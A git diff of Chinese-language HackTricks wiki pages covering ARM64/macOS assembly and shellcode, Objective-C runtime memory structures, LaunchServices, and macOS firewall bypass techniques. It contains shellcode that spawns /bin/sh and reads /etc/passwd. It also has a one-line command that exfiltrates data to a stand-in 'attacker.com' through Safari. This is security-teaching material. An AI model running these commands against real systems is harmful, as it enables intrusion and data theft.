这是通过将处理器状态从`CPSR`保存到所采取的处理器模式的`SPSR`中来完成的。在异常返回时,**从`SPSR`恢复`CPSR`**。
|
||||
这是通过**将处理器状态从`CPSR`保存到处理器模式的`SPSR`**来实现的。在异常返回时,**从`SPSR`恢复`CPSR`**。
|
||||
|
||||
### CPSR - 当前程序状态寄存器
|
||||
|
||||
|
@ -306,10 +307,10 @@ mov r0, #8
|
|||
#### 应用程序状态寄存器(APSR)
|
||||
|
||||
- **`N`**,**`Z`**,**`C`**,**`V`**标志(就像在AArch64中一样)
|
||||
- **`Q`**标志:在执行专门的饱和算术指令时,当发生**整数饱和**时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何隐式检查其值的指令,必须通过手动读取来完成。
|
||||
- **`Q`**标志:在执行专门的饱和算术指令时,当**整数饱和发生**时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何隐式检查其值的指令,必须通过手动读取来完成。
|
||||
- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。
|
||||
|
||||
例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后,基于这些结果,在**`APSR`**中设置**`GE`**标志。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后,基于这些结果,它**在`APSR`中设置`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
|
||||
**`SEL`**指令使用这些GE标志执行条件操作。
|
||||
|
||||
|
@ -318,11 +319,11 @@ mov r0, #8
|
|||
- **`J`**和**`T`**位:**`J`**应为0,如果**`T`**为0,则使用A32指令集,如果为1,则使用T32指令集。
|
||||
- **IT块状态寄存器**(`ITSTATE`):这些是位10-15和25-26。它们存储**`IT`**前缀组内指令的条件。
|
||||
- **`E`**位:指示**字节序**。
|
||||
- **模式和异常掩码位**(0-4):它们确定当前的执行状态。第**5**位指示程序是否以32位(1)或64位(0)运行。其他4个表示当前正在使用的**异常模式**(当发生异常并正在处理时)。设置的数字表示在处理此异常时触发另一个异常时的**当前优先级**。
|
||||
- **模式和异常掩码位**(0-4):它们确定当前的执行状态。第**5**个指示程序是否以32位(1)或64位(0)运行。其他4个表示**当前正在使用的异常模式**(当发生异常并正在处理时)。设置的数字表示在处理此异常时触发另一个异常的当前优先级。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**:可以使用**`A`**,`I`,`F`位禁用某些异常。如果**`A`**为1,则表示将触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)有关。
|
||||
- **`AIF`**:可以使用**`A`**,`I`,`F`位禁用某些异常。如果**`A`**为1,则会触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)有关。
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -370,8 +371,9 @@ XNU支持另一种称为机器相关调用的调用类型。这些调用的数
|
|||
- x1:op -> 方法的选择器
|
||||
- x2... -> 调用方法的其余参数
|
||||
|
||||
因此,如果在调用此函数之前设置断点,您可以轻松地在lldb中找到调用的内容(在此示例中,对象调用`NSConcreteTask`中的对象,该对象将运行一个命令)。
|
||||
```
|
||||
因此,如果在调用此函数之前设置断点,您可以轻松地在lldb中找到调用的内容(在此示例中,对象调用`NSConcreteTask`中的对象,该对象将运行一个命令):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
<NSConcreteTask: 0x1052308e0>
|
||||
|
||||
|
@ -388,9 +390,29 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
设置环境变量 `NSObjCMessageLoggingEnabled=1` 可以记录当这个函数被调用时的日志,保存在类似 `/tmp/msgSends-pid` 的文件中。
|
||||
设置环境变量 **`NSObjCMessageLoggingEnabled=1`** 可以记录当该函数被调用时的日志,日志会保存在类似 `/tmp/msgSends-pid` 的文件中。
|
||||
|
||||
此外,设置 **`OBJC_HELP=1`** 并调用任何二进制文件,您可以查看其他环境变量,您可以使用这些环境变量来在发生某些 Objc-C 操作时记录日志。
|
||||
{% endhint %}
|
||||
|
||||
当调用此函数时,需要找到指定实例的调用方法,为此进行不同的搜索:
|
||||
|
||||
* 执行乐观的缓存查找:
|
||||
* 如果成功,则完成
|
||||
* 获取 runtimeLock(读取)
|
||||
* 如果(realize && !cls->realized),则实现类
|
||||
* 如果(initialize && !cls->initialized),则初始化类
|
||||
* 尝试类自己的缓存:
|
||||
* 如果成功,则完成
|
||||
* 尝试类方法列表:
|
||||
* 如果找到,则填充缓存并完成
|
||||
* 尝试超类缓存:
|
||||
* 如果成功,则完成
|
||||
* 尝试超类方法列表:
|
||||
* 如果找到,则填充缓存并完成
|
||||
* 如果(resolver),尝试方法解析器,并从类查找重复
|
||||
* 如果仍然在这里(= 所有其他方法均失败),尝试转发器
|
||||
|
||||
### Shellcodes
|
||||
|
||||
编译:
|
||||
|
@ -401,14 +423,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
提取字节:
|
||||
要提取字节:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
对于新版 macOS:
|
||||
对于更新的 macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -534,9 +556,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
#### 使用cat命令读取
|
||||
#### 使用 cat 命令读取
|
||||
|
||||
目标是执行`execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数(x1)是一个参数数组(在内存中意味着地址的堆栈)。
|
||||
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -562,7 +584,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### 通过从 fork 中调用 sh 命令来执行命令,以便主进程不被杀死
|
||||
#### 通过从 fork 中使用 sh 调用命令,使主进程不被杀死
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -759,16 +781,17 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -0,0 +1,160 @@
|
|||
# 内存中的对象
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CFRuntimeClass
|
||||
|
||||
CF\* 对象来自 CoreFoundation,提供了 50 多个类的对象,如 `CFString`、`CFNumber` 或 `CFAllocatior`。
|
||||
|
||||
所有这些类都是 `CFRuntimeClass` 类的实例,当调用时,它会返回到 `__CFRuntimeClassTable` 的索引。CFRuntimeClass 在 [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) 中定义:
|
||||
```objectivec
|
||||
// Some comments were added to the original code
|
||||
|
||||
enum { // Version field constants
|
||||
_kCFRuntimeScannedObject = (1UL << 0),
|
||||
_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
|
||||
_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
|
||||
_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
|
||||
};
|
||||
|
||||
typedef struct __CFRuntimeClass {
|
||||
CFIndex version; // This is made a bitwise OR with the relevant previous flags
|
||||
|
||||
const char *className; // must be a pure ASCII string, nul-terminated
|
||||
void (*init)(CFTypeRef cf); // Initializer function
|
||||
CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
|
||||
void (*finalize)(CFTypeRef cf); // Finalizer function
|
||||
Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
|
||||
CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
|
||||
CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
|
||||
CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
|
||||
|
||||
#define CF_RECLAIM_AVAILABLE 1
|
||||
void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
|
||||
// It not null, it's called when the last reference to the object is released
|
||||
|
||||
#define CF_REFCOUNT_AVAILABLE 1
|
||||
// If not null, the following is called when incrementing or decrementing reference count
|
||||
uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
|
||||
// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
|
||||
// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
|
||||
// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
|
||||
// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
|
||||
// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
|
||||
// remember that reference count incrementing/decrementing must be done thread-safely/atomically
|
||||
// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
|
||||
// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
|
||||
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
|
||||
#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
|
||||
// If not 0, allocation of object must be on this boundary
|
||||
uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
|
||||
|
||||
} CFRuntimeClass;
|
||||
```
|
||||
## Objective-C
|
||||
|
||||
### 使用的内存部分
|
||||
|
||||
ObjectiveC运行时使用的大部分数据在执行过程中会发生变化,因此它使用内存中**\_\_DATA**段中的一些部分:
|
||||
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): 消息引用
|
||||
- **`__objc_ivar`** (`ivar`): 实例变量
|
||||
- **`__objc_data`** (`...`): 可变数据
|
||||
- **`__objc_classrefs`** (`Class`): 类引用
|
||||
- **`__objc_superrefs`** (`Class`): 超类引用
|
||||
- **`__objc_protorefs`** (`protocol_t *`): 协议引用
|
||||
- **`__objc_selrefs`** (`SEL`): 选择器引用
|
||||
- **`__objc_const`** (`...`): 类`r/o`数据和其他(希望是)常量数据
|
||||
- **`__objc_imageinfo`** (`version, flags`): 在加载图像时使用:当前版本为`0`;标志指定预优化的GC支持等。
|
||||
- **`__objc_protolist`** (`protocol_t *`): 协议列表
|
||||
- **`__objc_nlcatlist`** (`category_t`): 指向二进制文件中定义的非延迟类别的指针
|
||||
- **`__objc_catlist`** (`category_t`): 指向二进制文件中定义的类别的指针
|
||||
- **`__objc_nlclslist`** (`classref_t`): 指向二进制文件中定义的非延迟Objective-C类的指针
|
||||
- **`__objc_classlist`** (`classref_t`): 指向二进制文件中定义的所有Objective-C类的指针
|
||||
|
||||
它还使用**`__TEXT`**段中的一些部分来存储常量值,如果不可能在此部分中写入:
|
||||
|
||||
- **`__objc_methname`** (C字符串): 方法名称
|
||||
- **`__objc_classname`** (C字符串): 类名称
|
||||
- **`__objc_methtype`** (C字符串): 方法类型
|
||||
|
||||
### 类型编码
|
||||
|
||||
Objective-C使用一些混淆来编码简单和复杂类型的选择器和变量类型:
|
||||
|
||||
- 基本类型使用类型的第一个字母,如 `i` 代表 `int`,`c` 代表 `char`,`l` 代表 `long`... 如果是无符号的,则使用大写字母(`L` 代表 `unsigned Long`)。
|
||||
- 其他数据类型的字母已被使用或是特殊的,使用其他字母或符号,如 `q` 代表 `long long`,`b` 代表 `位域`,`B` 代表 `布尔值`,`#` 代表 `类`,`@` 代表 `id`,`*` 代表 `char指针`,`^` 代表通用 `指针`,`?` 代表 `未定义`。
|
||||
- 数组、结构体和联合使用 `[`, `{` 和 `(`
|
||||
|
||||
#### 示例方法声明
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
选择器将是 `processString:withOptions:andError:`
|
||||
|
||||
#### 类型编码
|
||||
|
||||
* `id` 被编码为 `@`
|
||||
* `char *` 被编码为 `*`
|
||||
|
||||
该方法的完整类型编码为:
|
||||
```less
|
||||
@24@0:8@16*20^@24
|
||||
```
|
||||
#### 详细分解
|
||||
|
||||
1. **返回类型 (`NSString *`)**: 编码为 `@`,长度为 24
|
||||
2. **`self` (对象实例)**: 编码为 `@`,在偏移量 0
|
||||
3. **`_cmd` (选择器)**: 编码为 `:`,在偏移量 8
|
||||
4. **第一个参数 (`char * input`)**: 编码为 `*`,在偏移量 16
|
||||
5. **第二个参数 (`NSDictionary * options`)**: 编码为 `@`,在偏移量 20
|
||||
6. **第三个参数 (`NSError ** error`)**: 编码为 `^@`,在偏移量 24
|
||||
|
||||
**通过选择器和编码,您可以重构方法。**
|
||||
|
||||
### **类**
|
||||
|
||||
Objective-C 中的类是一个带有属性、方法指针等的结构体。可以在[**源代码**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html)中找到 `objc_class` 结构体:
|
||||
```objectivec
|
||||
struct objc_class : objc_object {
|
||||
// Class ISA;
|
||||
Class superclass;
|
||||
cache_t cache; // formerly cache pointer and vtable
|
||||
class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
|
||||
|
||||
class_rw_t *data() {
|
||||
return bits.data();
|
||||
}
|
||||
void setData(class_rw_t *newData) {
|
||||
bits.setData(newData);
|
||||
}
|
||||
|
||||
void setInfo(uint32_t set) {
|
||||
assert(isFuture() || isRealized());
|
||||
data()->setFlags(set);
|
||||
}
|
||||
[...]
|
||||
```
|
||||
这个类使用isa字段的一些位来指示关于类的一些信息。
|
||||
|
||||
然后,结构体有一个指向存储在磁盘上的`class_ro_t`结构体的指针,其中包含类的属性,如名称、基本方法、属性和实例变量。\
|
||||
在运行时,还会使用一个额外的结构`class_rw_t`,其中包含可以更改的指针,如方法、协议、属性...
|
|
@ -1,22 +1,23 @@
|
|||
# macOS绕过防火墙
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 发现的技术
|
||||
|
||||
以下技术在一些macOS防火墙应用中被发现可行。
|
||||
以下技术在一些macOS防火墙应用程序中被发现可行。
|
||||
|
||||
### 滥用白名单名称
|
||||
|
||||
|
@ -26,7 +27,7 @@
|
|||
|
||||
* 如果防火墙要求用户授权,使恶意软件**点击允许**
|
||||
|
||||
### **使用苹果签名的二进制文件**
|
||||
### 使用苹果签名的二进制文件
|
||||
|
||||
* 像**`curl`**,还有其他如**`whois`**
|
||||
|
||||
|
@ -46,7 +47,7 @@ lsof -i TCP -sTCP:ESTABLISHED
|
|||
```
|
||||
### 滥用 DNS
|
||||
|
||||
DNS 解析是通过已签名的 **`mdnsreponder`** 应用程序完成的,很可能会被允许与 DNS 服务器联系。
|
||||
DNS 解析是通过 **`mdnsreponder`** 签名应用程序完成的,很可能会被允许与 DNS 服务器联系。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -79,7 +80,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
|||
```
|
||||
### 通过进程注入
|
||||
|
||||
如果您可以将代码**注入到一个允许连接到任何服务器的进程**中,您就可以绕过防火墙的保护:
|
||||
如果你能够**将代码注入到一个允许连接到任何服务器的进程中**,那么你可以绕过防火墙的保护:
|
||||
|
||||
{% content-ref url="macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](macos-proces-abuse/)
|
||||
|
@ -89,16 +90,17 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
|
|||
|
||||
* [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS文件扩展名和URL scheme应用程序处理程序
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## LaunchServices数据库
|
||||
|
||||
这是macOS中所有已安装应用程序的数据库,可以查询每个已安装应用程序的信息,例如其支持的URL schemes和MIME类型。
|
||||
这是macOS中所有已安装应用程序的数据库,可以查询每个已安装应用程序的信息,例如它支持的URL schemes和MIME类型。
|
||||
|
||||
可以使用以下命令转储此数据库:
|
||||
|
||||
|
@ -28,28 +29,26 @@
|
|||
|
||||
或者使用工具 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html)。
|
||||
|
||||
**`/usr/libexec/lsd`** 是数据库的核心。它提供了像 `.lsd.installation`、`.lsd.open`、`.lsd.openurl` 等**多个 XPC 服务**。但是它也**需要一些授权**给应用程序,以便能够使用暴露的 XPC 功能,比如 `.launchservices.changedefaulthandler` 或 `.launchservices.changeurlschemehandler` 来更改 mime 类型或 url schemes 的默认应用程序等。
|
||||
**`/usr/libexec/lsd`** 是数据库的核心。它提供了像 `.lsd.installation`、`.lsd.open`、`.lsd.openurl` 等**多个 XPC 服务**。但是它也**需要一些授权**给应用程序才能使用暴露的 XPC 功能,比如 `.launchservices.changedefaulthandler` 或 `.launchservices.changeurlschemehandler` 来更改 mime 类型或 url schemes 的默认应用程序等。
|
||||
|
||||
**`/System/Library/CoreServices/launchservicesd`** 拥有服务 `com.apple.coreservices.launchservicesd`,可以查询有关正在运行的应用程序的信息。可以使用系统工具 /**`usr/bin/lsappinfo`** 或 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) 来查询。
|
||||
**`/System/Library/CoreServices/launchservicesd`** 声称服务 `com.apple.coreservices.launchservicesd`,可以查询有关正在运行的应用程序的信息。可以使用系统工具 /**`usr/bin/lsappinfo`** 或 [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) 进行查询。
|
||||
|
||||
## 文件扩展名和 URL scheme 应用程序处理程序
|
||||
|
||||
以下行可用于查找可以打开文件的应用程序,具体取决于扩展名:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
